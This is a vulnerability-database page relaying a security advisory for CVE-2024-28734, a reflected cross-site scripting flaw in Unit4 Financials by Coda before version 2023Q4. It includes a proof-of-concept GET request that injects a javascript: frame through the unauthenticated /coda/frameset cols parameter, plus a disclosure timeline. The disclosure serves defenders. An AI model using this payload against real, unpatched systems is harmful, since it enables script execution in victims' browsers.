Financials By Coda Cross Site Scripting

🗓️ 15 Mar 2024 00:00:00Reported by Leo DraghiType

packetstorm🔗 packetstormsecurity.com👁 374 Views

Financials By Coda Cross Site Scripting vulnerability in < 2023Q4 versio

Reporter	Title	Published	Views	Family All 10
Circl	CVE-2024-28734	19 Mar 202415:26	–	circl
CNNVD	Unit4 Financials by Coda Cross-Site Scripting Vulnerability	16 Mar 202400:00	–	cnnvd
CVE	CVE-2024-28734	19 Mar 202400:00	–	cve
Cvelist	CVE-2024-28734	19 Mar 202400:00	–	cvelist
Nuclei	Coda v.2024Q1 - Cross-Site Scripting	3 Jun 202606:04	–	nuclei
NVD	CVE-2024-28734	19 Mar 202414:15	–	nvd
Positive Technologies	PT-2024-22547 · Unit4 · Unit4 Financials	19 Mar 202400:00	–	ptsecurity
RedhatCVE	CVE-2024-28734	23 May 202510:06	–	redhatcve
VulnCheck KEV	VulnCheck KEV: CVE-2024-28734	27 Apr 202400:00	–	vulncheck_kev
Vulnrichment	CVE-2024-28734	19 Mar 202400:00	–	vulnrichment

`# Vulnerability type: Cross-site Scripting  
# Vendor: https://www.unit4.com/  
# Product: Financials by Coda  
# Product site: https://www.unit4.com/fr/products/financial-management-software  
# Affected version: < 2023Q4  
# Fixed version: 2023Q4  
# Credit: Léo DRAGHI  
# CVE: CVE-2024-28734  
  
# PROOF OF CONCEPT  
The /coda/frameset endpoint, accessible by any unauthenticated user, reflects the value of the cols parameter.   
Since this value is not properly sanitized and encoded when the web page is rendered, this could allow a malicious actor to execute JavaScript code in the context of another user's browser by only sending to a victim a malicious link.  
  
GET /coda/frameset?cols="><frame%20src="javascript:alert('XSS')"> HTTP/2  
Host: <target>  
  
# TIMELINE  
– 30/10/2023: Vulnerability found  
– 02/11/2023: Vendor informed  
– 05/12/2023: Vendor fixed the issue  
– 14/03/2024: Public disclosure  
`

15 Mar 2024 00:00Current

7.4High risk

Vulners AI Score7.4

EPSS0.08596